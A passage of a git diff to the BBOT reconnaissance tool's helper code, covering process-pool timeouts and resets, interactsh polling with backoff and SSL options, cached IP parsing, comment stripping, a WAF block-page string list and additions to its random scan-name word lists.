-        add_result(rdtype, record.exchange)
-    elif rdtype == "SRV":
-        add_result(rdtype, record.target)
-    elif rdtype == "TXT":
-        for s in record.strings:
-            s = smart_decode(s)
-            for match in dns_name_extraction_regex.finditer(s):
-                start, end = match.span()
-                host = s[start:end]
-                add_result(rdtype, host)
-    elif rdtype == "NSEC":
-        add_result(rdtype, record.next)
-    else:
-        log.warning(f'Unknown DNS record type "{rdtype}"')
-    return results
-
-
 def service_record(host, rdtype=None):
     """
     Indicates that the provided host name and optional rdtype is an SRV or related service record.
diff --git a/bbot/core/helpers/dns/mock.py b/bbot/core/helpers/dns/mock.py
deleted file mode 100644
index 3f6fd83ea5..0000000000
--- a/bbot/core/helpers/dns/mock.py
+++ /dev/null
@@ -1,74 +0,0 @@
-import dns
-import logging
-
-log = logging.getLogger("bbot.core.helpers.dns.mock")
-
-
-class MockResolver:
-    def __init__(self, mock_data=None, custom_lookup_fn=None):
-        self.mock_data = mock_data if mock_data else {}
-        self._custom_lookup_fn = custom_lookup_fn
-        self.nameservers = ["127.0.0.1"]
-
-    async def resolve_address(self, ipaddr, *args, **kwargs):
-        modified_kwargs = {}
-        modified_kwargs.update(kwargs)
-        modified_kwargs["rdtype"] = "PTR"
-        return await self.resolve(str(dns.reversename.from_address(ipaddr)), *args, **modified_kwargs)
-
-    def _lookup(self, query, rdtype):
-        query = query.strip(".")
-        ret = []
-        if self._custom_lookup_fn is not None:
-            answers = self._custom_lookup_fn(query, rdtype)
-            if answers is not None:
-                ret.extend(list(answers))
-        answers = self.mock_data.get(query, {}).get(rdtype, [])
-        if answers:
-            ret.extend(list(answers))
-        if not ret:
-            raise dns.resolver.NXDOMAIN(f"No answer found for {query} {rdtype}")
-        return ret
-
-    def create_dns_response(self, query_name, answers, rdtype):
-        query_name = query_name.strip(".")
-        message_text = f"""id 1234
-opcode QUERY
-rcode NOERROR
-flags QR AA RD
-;QUESTION
-{query_name}. IN {rdtype}
-;ANSWER"""
-        for answer in answers:
-            if answer == "":
-                answer = '""'
-            message_text += f"\n{query_name}. 1 IN {rdtype} {answer}"
-
-        message_text += "\n;AUTHORITY\n;ADDITIONAL\n"
-        message = dns.message.from_text(message_text)
-        # log.verbose(message_text)
-        return message
-
-    async def resolve(self, query_name, rdtype=None):
-        if rdtype is None:
-            rdtype = "A"
-        elif isinstance(rdtype, str):
-            rdtype = rdtype.upper()
-        else:
-            rdtype = str(rdtype.name).upper()
-
-        domain_name = dns.name.from_text(query_name)
-        rdtype_obj = dns.rdatatype.from_text(rdtype)
-
-        if "_NXDOMAIN" in self.mock_data and query_name in self.mock_data["_NXDOMAIN"]:
-            # Simulate the NXDOMAIN exception
-            raise dns.resolver.NXDOMAIN
-
-        try:
-            answers = self._lookup(query_name, rdtype)
-            log.verbose(f"Answers for {query_name}:{rdtype}: {answers}")
-            response = self.create_dns_response(query_name, answers, rdtype)
-            answer = dns.resolver.Answer(domain_name, rdtype_obj, dns.rdataclass.IN, response)
-            return answer
-        except dns.resolver.NXDOMAIN:
-            return []
diff --git a/bbot/core/helpers/helper.py b/bbot/core/helpers/helper.py
index 1f5762214e..f3d8e8064f 100644
--- a/bbot/core/helpers/helper.py
+++ b/bbot/core/helpers/helper.py
@@ -1,11 +1,17 @@
 import os
+import sys
+import signal
+import ctypes
+import ctypes.util
+import asyncio
 import logging
 from pathlib import Path
 import multiprocessing as mp
 from functools import partial
-from concurrent.futures import ProcessPoolExecutor
+from concurrent.futures import ProcessPoolExecutor, ThreadPoolExecutor
 
 from . import misc
+from .asn import ASNHelper
 from .dns import DNSHelper
 from .web import WebHelper
 from .diff import HttpCompare
@@ -13,6 +19,7 @@
 from .wordcloud import WordCloud
 from .interactsh import Interactsh
 from .yara_helper import YaraHelper
+from .simhash import SimHashHelper
 from .depsinstaller import DepsInstaller
 from .async_helpers import get_event_loop
 
@@ -20,6 +27,24 @@
 
 log = logging.getLogger("bbot.core.helpers")
 
+_PR_SET_PDEATHSIG = 1
+
+
+def _pool_worker_init():
+    """Set PR_SET_PDEATHSIG so pool workers die when the parent process dies.
+
+    Prevents zombie worker accumulation after OOM kills, SIGKILL, etc.
+    Uses SIGKILL because ProcessPoolExecutor's `except BaseException` catches
+    SIGTERM's SystemExit, keeping workers alive until the broken pipe surfaces.
+
+    prctl is Linux-specific, so this is a no-op elsewhere (the symbol is absent
+    on other platforms and would otherwise raise, breaking the whole pool).
+    """
+    if not sys.platform.startswith("linux"):
+        return
+    libc = ctypes.CDLL(ctypes.util.find_library("c"), use_errno=True)
+    libc.prctl(_PR_SET_PDEATHSIG, signal.SIGKILL, 0, 0, 0)
+
 
 class ConfigAwareHelper:
     """
@@ -73,23 +98,24 @@ def __init__(self, preset):
 
         self._loop = None
 
-        # multiprocessing thread pool
+        # multiprocessing process pool
         start_method = mp.get_start_method()
         if start_method != "spawn":
             self.warning(f"Multiprocessing spawn method is set to {start_method}.")
-
-        # we spawn 1 fewer processes than cores
-        # this helps to avoid locking up the system or competing with the main python process for cpu time
-        num_processes = max(1, mp.cpu_count() - 1)
-        self.process_pool = ProcessPoolExecutor(max_workers=num_processes)
+        self.process_pool = self._create_process_pool()
+        self._pool_reset_lock = asyncio.Lock()
 
         self._cloud = None
+        self._blasthttp_client = None
 
         self.re = RegexHelper(self)
         self.yara = YaraHelper(self)
+        self.simhash = SimHashHelper()
         self._dns = None
         self._web = None
+        self._asn = None
         self._cloudcheck = None
+        self._asn = None
         self.config_aware_validators = self.validators.Validators(self)
         self.depsinstaller = DepsInstaller(self)
         self.word_cloud = WordCloud(self)
@@ -107,12 +133,30 @@ def web(self):
             self._web = WebHelper(self)
         return self._web
 
+    @property
+    def asn(self):
+        if self._asn is None:
+            self._asn = ASNHelper(self)
+        return self._asn
+
+    @property
+    def blasthttp(self):
+        if self._blasthttp_client is None:
+            import blasthttp as _blasthttp
+
+            self._blasthttp_client = _blasthttp.BlastHTTP()
+            rate_limit = self.web_config.get("http_rate_limit", 0)
+            if rate_limit:
+                self._blasthttp_client.set_rate_limit(rate_limit)
+        return self._blasthttp_client
+
     @property
     def cloudcheck(self):
         if self._cloudcheck is None:
             from cloudcheck import CloudCheck
 
-            self._cloudcheck = CloudCheck()
+            ssl_verify = self.web_config.get("ssl_verify_infrastructure", True)
+            self._cloudcheck = CloudCheck(verify_ssl=ssl_verify)
         return self._cloudcheck
 
     def bloom_filter(self, size):
@@ -134,6 +178,7 @@ def http_compare(
         data=None,
         json=None,
         timeout=10,
+        on_baseline_ready=None,
     ):
         return HttpCompare(
             url,
@@ -146,6 +191,7 @@ def http_compare(
             method=method,
             data=data,
             json=json,
+            on_baseline_ready=on_baseline_ready,
         )
 
     def temp_filename(self, extension=None):
@@ -185,30 +231,96 @@ def loop(self):
         """
         if self._loop is None:
             self._loop = get_event_loop()
+            # only current caller is wafw00f (sync requests library)
+            self._io_executor = ThreadPoolExecutor(max_workers=max(8, (os.cpu_count() or 1) + 4))
+            self._cpu_executor = ThreadPoolExecutor(max_workers=max(8, os.cpu_count() or 4))
+            self._loop.set_default_executor(self._io_executor)
         return self._loop
 
-    def run_in_executor(self, callback, *args, **kwargs):
+    @staticmethod
+    def _create_process_pool():
+        # we spawn 1 fewer processes than cores
+        # this helps to avoid locking up the system or competing with the main python process for cpu time
+        num_processes = max(1, mp.cpu_count() - 1)
+        pool_kwargs = {"max_workers": num_processes, "initializer": _pool_worker_init}
+        # max_tasks_per_child replaces workers after N tasks, preventing memory leaks
+        # and reducing the chance of a degraded worker process causing hangs
+        if sys.version_info >= (3, 11):
+            pool_kwargs["max_tasks_per_child"] = 25
+        return ProcessPoolExecutor(**pool_kwargs)
+
+    def run_in_executor_io(self, callback, *args, **kwargs):
         """
         Run a synchronous task in the event loop's default thread pool executor
 
         Examples:
             Execute callback:
-            >>> result = await self.helpers.run_in_executor(callback_fn, arg1, arg2)
+            >>> result = await self.helpers.run_in_executor_io(callback_fn, arg1, arg2)
+        """
+        callback = partial(callback, **kwargs)
+        return self.loop.run_in_executor(self._io_executor, callback, *args)
+
+    def run_in_executor_cpu(self, callback, *args, **kwargs):
+        """
+        Run short CPU-bound work that releases the GIL in a dedicated thread pool,
+        separate from I/O so it never queues behind long-running network calls.
+
+        Examples:
+            Execute callback:
+            >>> result = await self.helpers.run_in_executor_cpu(callback_fn, arg1, arg2)
         """
         callback = partial(callback, **kwargs)
-        return self.loop.run_in_executor(None, callback, *args)
+        return self.loop.run_in_executor(self._cpu_executor, callback, *args)
 
-    def run_in_executor_mp(self, callback, *args, **kwargs):
+    async def run_in_executor_mp(self, callback, *args, **kwargs):
         """
-        Same as run_in_executor() except with a process pool executor
-        Use only in cases where callback is CPU-bound
+        Same as run_in_executor_io() except with a process pool executor.
+        Use only in cases where callback is CPU-bound.
+
+        Includes a timeout (default 300s) to prevent indefinite hangs if a child process dies or the pool enters a broken state.
+        On timeout, the entire pool is terminated and replaced so that stuck workers cannot accumulate and starve the scan.
+
+        Pass ``_timeout=seconds`` to override the default timeout.
 
         Examples:
             Execute callback:
             >>> result = await self.helpers.run_in_executor_mp(callback_fn, arg1, arg2)
         """
+        timeout = kwargs.pop("_timeout", 300)
         callback = partial(callback, **kwargs)
-        return self.loop.run_in_executor(self.process_pool, callback, *args)
+        future = self.loop.run_in_executor(self.process_pool, callback, *args)
+        try:
+            return await asyncio.wait_for(future, timeout=timeout)
+        except asyncio.TimeoutError:
+            log.warning(f"Process pool task timed out after {timeout}s, killing stuck workers and replacing pool")
+            await self._reset_process_pool()
+            raise
+
+    async def _reset_process_pool(self):
+        """Terminate all workers in the current process pool and replace it.
+
+        This is the nuclear option — every in-flight task on the old pool will fail with BrokenProcessPool.
+        We accept that trade-off because a timeout means something is genuinely broken, and leaving the stuck worker alive would permanently consume a pool slot.
+
+        # TODO: Python 3.14 adds ProcessPoolExecutor.terminate_workers()
+        # and kill_workers() (https://github.com/python/cpython/pull/130849).
+        # Once we drop 3.13 support we can replace the _processes access
+        # with those official methods.
+        """
+        async with self._pool_reset_lock:
+            old_pool = self.process_pool
+            self.process_pool = self._create_process_pool()
+            # snapshot workers before shutdown (shutdown sets _processes = None)
+            workers = list((old_pool._processes or {}).values())
+            # terminate workers before shutdown so stuck ones don't block
+            for proc in workers:
+                if proc.is_alive():
+                    proc.terminate()
+            old_pool.shutdown(wait=False, cancel_futures=True)
+            # escalate to SIGKILL for anything that ignored SIGTERM
+            for proc in workers:
+                if proc.is_alive():
+                    proc.kill()
 
     @property
     def in_tests(self):
diff --git a/bbot/core/helpers/interactsh.py b/bbot/core/helpers/interactsh.py
index 5c2eb0e526..e178c6db8a 100644
--- a/bbot/core/helpers/interactsh.py
+++ b/bbot/core/helpers/interactsh.py
@@ -140,7 +140,11 @@ async def register(self, callback=None):
                 "correlation-id": self.correlation_id,
             }
             r = await self.parent_helper.request(
-                f"https://{server}/register", headers=headers, json=data, method="POST"
+                f"https://{server}/register",
+                headers=headers,
+                json=data,
+                method="POST",
+                ssl_verify=self.parent_helper.web.ssl_verify_infrastructure,
             )
             if r is None:
                 continue
@@ -190,11 +194,19 @@ async def deregister(self):
         data = {"secret-key": self.secret, "correlation-id": self.correlation_id}
 
         r = await self.parent_helper.request(
-            f"https://{self.server}/deregister", headers=headers, json=data, method="POST"
+            f"https://{self.server}/deregister",
+            headers=headers,
+            json=data,
+            method="POST",
+            ssl_verify=self.parent_helper.web.ssl_verify_infrastructure,
         )
 
         if self._poll_task is not None:
             self._poll_task.cancel()
+            try:
+                await self._poll_task
+            except (asyncio.CancelledError, Exception):
+                pass
 
         if "success" not in getattr(r, "text", ""):
             raise InteractshError(f"Failed to de-register with interactsh server {self.server}")
@@ -237,6 +249,7 @@ async def poll(self):
                 f"https://{self.server}/poll?id={self.correlation_id}&secret={self.secret}",
                 headers=headers,
                 timeout=15,
+                ssl_verify=self.parent_helper.web.ssl_verify_infrastructure,
             )
             if r is None:
                 raise InteractshError("Error polling interact.sh: No response from server")
@@ -274,21 +287,41 @@ async def poll_loop(self, callback):
             return await self._poll_loop(callback)
 
     async def _poll_loop(self, callback):
+        consecutive_failures = 0
+        max_failures = 5
+        log.debug(f"Starting interactsh poll loop (interval={self.poll_interval}s, server={self.server})")
         while 1:
             if self.parent_helper.scan.stopping:
-                await asyncio.sleep(1)
-                continue
+                log.debug("Stopping interactsh poll loop (scan is stopping)")
+                break
             data_list = []
             try:
                 data_list = await self.poll()
+                consecutive_failures = 0
             except InteractshError as e:
-                log.warning(e)
+                consecutive_failures += 1
+                if consecutive_failures == 1:
+                    log.warning(e)
+                elif consecutive_failures >= max_failures:
+                    log.error(f"Interactsh poll failed {max_failures} consecutive times, giving up: {e}")
+                    break
+                else:
+                    log.debug(f"Interactsh poll failure #{consecutive_failures}: {e}")
                 log.trace(traceback.format_exc())
+                backoff = min(self.poll_interval * (2 ** (consecutive_failures - 1)), 300)
+                log.debug(f"Interactsh backing off for {backoff}s after failure #{consecutive_failures}")
+                await asyncio.sleep(backoff)
+                continue
             if not data_list:
+                log.debug(f"Interactsh poll returned no interactions, sleeping {self.poll_interval}s")
                 await asyncio.sleep(self.poll_interval)
                 continue
+            log.debug(f"Interactsh poll returned {len(data_list)} interaction(s)")
             for data in data_list:
                 if data:
+                    protocol = data.get("protocol", "unknown")
+                    full_id = data.get("full-id", "unknown")
+                    log.debug(f"Interactsh interaction: protocol={protocol}, full-id={full_id}")
                     await self.parent_helper.execute_sync_or_async(callback, data)
 
     def _decrypt(self, aes_key, data):
diff --git a/bbot/core/helpers/misc.py b/bbot/core/helpers/misc.py
index ad96cdb374..cbdfd4482e 100644
--- a/bbot/core/helpers/misc.py
+++ b/bbot/core/helpers/misc.py
@@ -7,13 +7,16 @@
 import string
 import asyncio
 import logging
+import functools
 import ipaddress
 import regex as re
 import subprocess as sp
 
+
 from pathlib import Path
 from contextlib import suppress
 from unidecode import unidecode  # noqa F401
+from typing import Iterable, Awaitable, Optional
 from asyncio import create_task, gather, sleep, wait_for  # noqa
 from urllib.parse import urlparse, quote, unquote, urlunparse, urljoin  # noqa F401
 
@@ -615,11 +618,11 @@ def is_ip(d, version=None, include_network=False):
     """
     ip = None
     try:
-        ip = ipaddress.ip_address(d)
+        ip = cached_ip_address(d)
     except Exception:
         if include_network:
             try:
-                ip = ipaddress.ip_network(d, strict=False)
+                ip = cached_ip_network(d)
             except Exception:
                 pass
     if ip is not None and (version is None or ip.version == version):
@@ -655,6 +658,39 @@ def is_ip_type(i, network=None):
     return ipaddress._IPAddressBase in i.__class__.__mro__
 
 
+# Valid characters in any IP address or CIDR string: hex digits, dot, colon,
+# slash (prefix length), and percent (IPv6 zone ID). A typical hostname like
+# "google.com" fails this check at its first letter.
+_IP_CHARS = frozenset("0123456789abcdefABCDEF.:/%")
+
+
+def _looks_like_ip(s):
+    """Cheap reject for strings that obviously aren't IPs/CIDRs."""
+    for c in s:
+        if c not in _IP_CHARS:
+            return False
+    return True
+
+
+@functools.lru_cache(maxsize=16384)
+def cached_ip_address(s):
+    """
+    Cached wrapper around `ipaddress.ip_address()`. Same semantics: returns an
+    IPv4Address/IPv6Address, or raises ValueError. Exceptions are not cached.
+    """
+    return ipaddress.ip_address(s)
+
+
+@functools.lru_cache(maxsize=16384)
+def cached_ip_network(s):
+    """
+    Cached wrapper around `ipaddress.ip_network(strict=False)`. Same semantics.
+    Exceptions are not cached.
+    """
+    return ipaddress.ip_network(s, strict=False)
+
+
+@functools.lru_cache(maxsize=16384)
 def make_ip_type(s):
     """
     Convert a string to its corresponding IP address or network type.
@@ -680,12 +716,20 @@ def make_ip_type(s):
     """
     if not s:
         raise ValueError(f'Invalid hostname: "{s}"')
-    # IP address
-    with suppress(Exception):
+    # Pass through anything that isn't a string (e.g. an already-parsed IP object).
+    if not isinstance(s, str):
+        return s
+    # Skip the expensive ipaddress parse+raise path for obvious non-IPs.
+    if not _looks_like_ip(s):
+        return s
+    try:
         return ipaddress.ip_address(s)
-    # IP network
-    with suppress(Exception):
+    except ValueError:
+        pass
+    try:
         return ipaddress.ip_network(s, strict=False)
+    except ValueError:
+        pass
     return s
 
 
@@ -835,7 +879,7 @@ def rand_string(length=10, digits=True, numeric_only=False):
     return "".join(random.choice(pool) for _ in range(length))
 
 
-def truncate_string(s: str, n: int) -> str:
+def truncate_string(s: str, n: int = 200) -> str:
     if not isinstance(s, str):
         raise ValueError(f"Expected string, got {type(s)}")
     if len(s) > n:
@@ -1116,6 +1160,32 @@ def str_or_file(s):
         yield s
 
 
+_comment_re = re.compile(r"\s#")
+
+
+def strip_comments(line):
+    """Strip #-style comments from a line.
+
+    Handles full-line comments (``# ...``) and inline comments (``target # ...``).
+    The ``#`` must be preceded by whitespace to count as an inline comment,
+    so URL fragments like ``http://example.com/page#section`` are preserved.
+
+    Examples:
+        >>> strip_comments("evilcorp.com # main domain")
+        'evilcorp.com'
+        >>> strip_comments("# full line comment")
+        ''
+        >>> strip_comments("http://example.com/page#section")
+        'http://example.com/page#section'
+    """
+    if line.lstrip().startswith("#"):
+        return ""
+    m = _comment_re.search(line)
+    if m:
+        return line[: m.start()]
+    return line
+
+
 split_regex = re.compile(r"[\s,]")
 
 
@@ -1126,6 +1196,7 @@ def chain_lists(
     remove_blank=True,
     validate=False,
     validate_chars='<>:"/\\|?*)',
+    _strip_comments=False,
 ):
     """Chains together list elements, allowing for entries separated by commas.
 
@@ -1141,6 +1212,7 @@ def chain_lists(
         remove_blank (bool, optional): Whether to remove blank entries from the list. Defaults to True.
         validate (bool, optional): Whether to perform validation for undesirable characters. Defaults to False.
         validate_chars (str, optional): When performing validation, what additional set of characters to block (blocks non-printable ascii automatically). Defaults to '<>:"/\\|?*)'
+        _strip_comments (bool, optional): Whether to strip ``#``-style comments from entries and file lines. Defaults to False.
 
     Returns:
         list: The list of chained elements.
@@ -1159,6 +1231,8 @@ def chain_lists(
         l = [l]
     final_list = {}
     for entry in l:
+        if _strip_comments:
+            entry = strip_comments(entry)
         for s in split_regex.split(entry):
             f = s.strip()
             if validate:
@@ -1170,6 +1244,8 @@ def chain_lists(
                     new_msg = str(msg).format(filename=f_path)
                     log.info(new_msg)
                 for line in str_or_file(f):
+                    if _strip_comments:
+                        line = strip_comments(line)
                     final_list[line] = None
             else:
                 final_list[f] = None
@@ -1659,7 +1735,7 @@ def rm_rf(f, ignore_errors=False):
         f (str or Path): The directory path to delete.
 
     Examples:
-        >>> rm_rf("/tmp/httpx98323849")
+        >>> rm_rf("/tmp/bbot98323849")
     """
     import shutil
 
@@ -2525,27 +2601,16 @@ def weighted_shuffle(items, weights):
         ['banana', 'apple', 'cherry']
 
     Note:
-        The sum of all weights does not have to be 1. They will be normalized internally.
+        Weights must be positive. The sum does not need to be 1.
     """
-    # Create a list of tuples where each tuple is (item, weight)
-    pool = list(zip(items, weights))
-
-    shuffled_items = []
-
-    # While there are still items to be chosen...
-    while pool:
-        # Normalize weights
-        total = sum(weight for item, weight in pool)
-        weights = [weight / total for item, weight in pool]
-
-        # Choose an index based on weight
-        chosen_index = random.choices(range(len(pool)), weights=weights, k=1)[0]
-
-        # Add the chosen item to the shuffled list
-        chosen_item, chosen_weight = pool.pop(chosen_index)
-        shuffled_items.append(chosen_item)
-
-    return shuffled_items
+    # Give each item a random number, but skewed by its weight
+    # (heavier weight → number closer to 1). Sort by that number,
+    # highest first. Items with bigger weights are more likely to
+    # end up near the top, but every item still has a chance.
+    rand = random.random
+    keyed = [(rand() ** (1.0 / w), item) for item, w in zip(items, weights)]
+    keyed.sort(key=lambda x: x[0], reverse=True)
+    return [item for _, item in keyed]
 
 
 def parse_port_string(port_string):
@@ -2595,30 +2660,106 @@ def parse_port_string(port_string):
     return ports
 
 
-async def as_completed(coros):
+async def as_completed(
+    coroutines: Iterable[Awaitable],
+    max_concurrent: Optional[int] = 20,
+):
     """
-    Async generator that yields completed Tasks as they are completed.
+    Yield completed coroutines as they finish with optional concurrency limiting.
+    All coroutines are scheduled as tasks internally for execution.
 
-    Args:
-        coros (iterable): An iterable of coroutine objects or asyncio Tasks.
+    Guarantees cleanup:
+    - If the consumer breaks early or an internal cancellation is detected, all remaining
+      tasks are cancelled and awaited (with return_exceptions=True) to avoid
+      "Task exception was never retrieved" warnings.
+    """
+    it = iter(coroutines)
 
-    Yields:
-        asyncio.Task: A Task object that has completed its execution.
+    running: set[asyncio.Task] = set()
+    limit = max_concurrent or float("inf")
 
-    Examples:
-        >>> async def main():
-        ...     async for task in as_completed([coro1(), coro2(), coro3()]):
-        ...         result = task.result()
-        ...         print(f'Task completed with result: {result}')
+    async def _cancel_and_drain_remaining():
+        if not running:
+            return
+        for t in running:
+            t.cancel()
+        try:
+            await asyncio.gather(*running, return_exceptions=True)
+        finally:
+            running.clear()
 
-        >>> asyncio.run(main())
+    # Prime the running set up to the concurrency limit (or all, if unlimited)
+    try:
+        while len(running) < limit:
+            coro = next(it)
+            running.add(asyncio.create_task(coro))
+    except StopIteration:
+        pass
+
+    # Dedup state for repeated error messages
+    _last_err = {"msg": None, "count": 0}
+
+    try:
+        # Drain: yield completed tasks, backfill from the iterator as slots free up
+        while running:
+            done, running = await asyncio.wait(running, return_when=asyncio.FIRST_COMPLETED)
+            for task in done:
+                # Immediately backfill one slot per completed task, if more work remains
+                try:
+                    coro = next(it)
+                    running.add(asyncio.create_task(coro))
+                except StopIteration:
+                    pass
+
+                # If task raised, handle cancellation gracefully and dedupe noisy repeats
+                if task.exception() is not None:
+                    e = task.exception()
+                    if in_exception_chain(e, (KeyboardInterrupt, asyncio.CancelledError)):
+                        # Quietly stop if we're being cancelled
+                        log.info("as_completed: cancellation detected; exiting early")
+                        await _cancel_and_drain_remaining()
+                        return
+                    # Build a concise message
+                    msg = f"as_completed yielded exception: {e}"
+                    if msg == _last_err["msg"]:
+                        _last_err["count"] += 1
+                        if _last_err["count"] <= 3:
+                            log.warning(msg)
+                        elif _last_err["count"] % 10 == 0:
+                            log.warning(f"{msg} (repeated {_last_err['count']}x)")
+                        else:
+                            log.debug(msg)
+                    else:
+                        _last_err["msg"] = msg
+                        _last_err["count"] = 1
+                        log.warning(msg)
+                yield task
+    finally:
+        # If the consumer breaks early or an error bubbles, ensure we don't leak tasks
+        await _cancel_and_drain_remaining()
+
+
+def get_waf_strings():
+    """
+    Returns a list of common WAF (Web Application Firewall) detection strings.
+
+    Returns:
+        list: List of WAF detection strings
+
+    Examples:
+        >>> waf_strings = get_waf_strings()
+        >>> "The requested URL was rejected" in waf_strings
+        True
     """
-    tasks = {coro if isinstance(coro, asyncio.Task) else asyncio.create_task(coro): coro for coro in coros}
-    while tasks:
-        done, _ = await asyncio.wait(tasks.keys(), return_when=asyncio.FIRST_COMPLETED)
-        for task in done:
-            tasks.pop(task)
-            yield task
+    return [
+        "The requested URL was rejected",
+        "This content has been blocked",
+        "The URL you requested has been blocked",
+        "Request unsuccessful. Incapsula incident",
+        "Access Denied - Sucuri Website Firewall",
+        "Attention Required! | Cloudflare",
+        "Microsoft-Azure-Application-Gateway",
+    ]
 
 
 def clean_dns_record(record):
@@ -2638,14 +2779,12 @@ def clean_dns_record(record):
         >>> clean_dns_record('www.evilcorp.com.')
         'www.evilcorp.com'
 
-        >>> from dns.rrset import from_text
-        >>> record = from_text('www.evilcorp.com', 3600, 'IN', 'A', '1.2.3.4')[0]
-        >>> clean_dns_record(record)
-        '1.2.3.4'
+        >>> clean_dns_record('*.evilcorp.com.')
+        'evilcorp.com'
     """
     if not isinstance(record, str):
         record = str(record.to_text())
-    return str(record).rstrip(".").lower()
+    return str(record).strip("'\"").strip("*.").lower()
 
 
 def truncate_filename(file_path, max_length=255):
@@ -2684,36 +2823,23 @@ def truncate_filename(file_path, max_length=255):
 
 
 def get_keys_in_dot_syntax(config):
-    """Retrieve all keys in an OmegaConf configuration in dot notation.
-
-    This function converts an OmegaConf configuration into a list of keys
-    represented in dot notation.
+    """Retrieve all leaf keys in a nested dict in dot notation.
 
     Args:
-        config (DictConfig): The OmegaConf configuration object.
+        config (dict): A nested dict.
 
     Returns:
-        List[str]: A list of keys in dot notation.
+        List[str]: A list of leaf keys in dot notation.
 
     Examples:
-        >>> config = OmegaConf.create({
-        ...     "web": {
-        ...         "test": True
-        ...     },
-        ...     "db": {
-        ...         "host": "localhost",
-        ...         "port": 5432
-        ...     }
-        ... })
-        >>> get_keys_in_dot_syntax(config)
+        >>> get_keys_in_dot_syntax({"web": {"test": True}, "db": {"host": "localhost", "port": 5432}})
         ['web.test', 'db.host', 'db.port']
     """
-    from omegaconf import OmegaConf
-
-    container = OmegaConf.to_container(config, resolve=True)
     keys = []
 
     def recursive_keys(d, parent_key=""):
+        if not isinstance(d, dict):
+            return
         for k, v in d.items():
             full_key = f"{parent_key}.{k}" if parent_key else k
             if isinstance(v, dict):
@@ -2721,7 +2847,7 @@ def recursive_keys(d, parent_key=""):
             else:
                 keys.append(full_key)
 
-    recursive_keys(container)
+    recursive_keys(config)
     return keys
 
 
diff --git a/bbot/core/helpers/names_generator.py b/bbot/core/helpers/names_generator.py
index 9c0da33607..13d43c007b 100644
--- a/bbot/core/helpers/names_generator.py
+++ b/bbot/core/helpers/names_generator.py
@@ -17,6 +17,9 @@
     "autistic",
     "awkward",
     "baby",
+    "bamboozled",
+    "based",
+    "befuddled",
     "begrudged",
     "benevolent",
     "bewildered",
@@ -24,24 +27,39 @@
     "black",
     "blazed",
     "bloodshot",
+    "bodacious",
+    "bonkers",
+    "bootleg",
+    "bricked",
     "brown",
+    "bussin",
+    "caffeinated",
+    "cantankerous",
+    "chaotic",
     "cheeky",
     "childish",
     "chiseled",
+    "chonky",
+    "clapped",
     "cold",
     "condescending",
     "considerate",
     "constipated",
     "contentious",
+    "cooked",
     "corrupted",
     "cosmic",
+    "cracked",
     "crafty",
+    "cranked",
     "crazed",
     "creamy",
     "crispy",
     "crumbly",
+    "crusty",
     "cryptic",
     "cuddly",
+    "cursed",
     "cute",
     "dark",
     "dastardly",
@@ -55,6 +73,7 @@
     "depressed",
     "deranged",
     "derogatory",
+    "derpy",
     "despicable",
     "devilish",
     "devious",
@@ -62,6 +81,7 @@
     "diabolical",
     "difficult",
     "dilapidated",
+    "discombobulated",
     "dismal",
     "distilled",
     "disturbed",
@@ -82,10 +102,12 @@
     "expired",
     "exquisite",
     "extreme",
+    "feral",
     "fermented",
     "ferocious",
     "fiendish",
     "fierce",
+    "flabbergasted",
     "flamboyant",
     "fleecy",
     "flirtatious",
@@ -98,10 +120,15 @@
     "fuzzy",
     "gentle",
     "giddy",
+    "glitched",
     "glowering",
     "glutinous",
+    "goated",
+    "gobsmacked",
     "golden",
+    "goofy",
     "gothic",
+    "greasy",
     "grievous",
     "gummy",
     "hallucinogenic",
@@ -136,11 +163,16 @@
     "intoxicated",
     "inventive",
     "irritable",
+    "jacked",
+    "janky",
+    "juiced",
+    "lackadaisical",
     "large",
     "liquid",
     "loveable",
     "lovely",
     "lucid",
+    "lumpy",
     "malevolent",
     "malfunctioning",
     "malicious",
@@ -158,17 +190,21 @@
     "mysterious",
     "nascent",
     "naughty",
+    "nautical",
     "nefarious",
     "negligent",
+    "nerfed",
     "neurotic",
     "nihilistic",
     "normal",
     "overattached",
+    "overclocked",
     "overcompensating",
     "overenthusiastic",
     "overmedicated",
     "overwhelming",
     "overzealous",
+    "pacific",
     "paranoid",
     "pasty",
     "peckish",
@@ -201,6 +237,7 @@
     "rapid_unscheduled",
     "raving",
     "reckless",
+    "recursive",
     "reductive",
     "ripped",
     "ruthless",
@@ -210,6 +247,7 @@
     "savvy",
     "scheming",
     "schizophrenic",
+    "scuffed",
     "secretive",
     "sedated",
     "senile",
@@ -218,13 +256,16 @@
     "sinful",
     "sinister",
     "slippery",
+    "sloppy",
     "sly",
     "sneaky",
     "soft",
+    "soggy",
     "sophisticated",
     "spasmodic",
     "spicy",
     "spiteful",
+    "spooky",
     "squishy",
     "steamy",
     "sticky",
@@ -241,6 +282,7 @@
     "sunburned",
     "super",
     "surreal",
+    "sus",
     "suspicious",
     "sweet",
     "swole",
@@ -253,6 +295,8 @@
     "ticklish",
     "tiny",
     "tricky",
+    "turbo",
+    "turnt",
     "twitchy",
     "ugly",
     "unabated",
@@ -285,8 +329,11 @@
     "wild",
     "wispy",
     "witty",
+    "wonky",
     "woolly",
+    "yeeted",
     "zesty",
+    "zooted",
 ]
 
 names = [
@@ -308,6 +355,7 @@
     "amir",
     "amy",
     "andrea",
+    "andres",
     "andrew",
     "angela",
     "ann",
@@ -342,12 +390,15 @@
     "brandon",
     "brandybuck",
     "brenda",
+    "brendan",
     "brian",
     "brianna",
     "brittany",
     "bruce",
     "bryan",
+    "buhner",
     "caitlyn",
+    "cal",
     "caleb",
     "cameron",
     "carl",
@@ -394,6 +445,7 @@
     "diana",
     "diane",
     "dobby",
+    "dominic",
     "donald",
     "donna",
     "dooku",
@@ -432,6 +484,7 @@
     "evan",
     "evelyn",
     "faramir",
+    "felix",
     "florence",
     "fox",
     "frances",
@@ -458,6 +511,7 @@
     "gollum",
     "grace",
     "gregory",
+    "griffey",
     "gus",
     "hagrid",
     "hank",
@@ -472,6 +526,7 @@
     "homer",
     "howard",
     "hunter",
+    "ichiro",
     "irene",
     "isaac",
     "isabella",
@@ -515,6 +570,7 @@
     "judy",
     "julia",
     "julie",
+    "julio",
     "justin",
     "karen",
     "katherine",
@@ -547,6 +603,7 @@
     "logan",
     "lois",
     "lori",
+    "lou",
     "louis",
     "louise",
     "lucius",
@@ -578,6 +635,7 @@
     "mildred",
     "milhouse",
     "monica",
+    "moose",
     "nancy",
     "natalie",
     "nathan",
@@ -663,6 +721,7 @@
     "theoden",
     "theon",
     "theresa",
+    "thetechromancer",
     "thomas",
     "tiffany",
     "timothy",
@@ -694,6 +753,8 @@
     "wendy",
     "william",
     "willie",
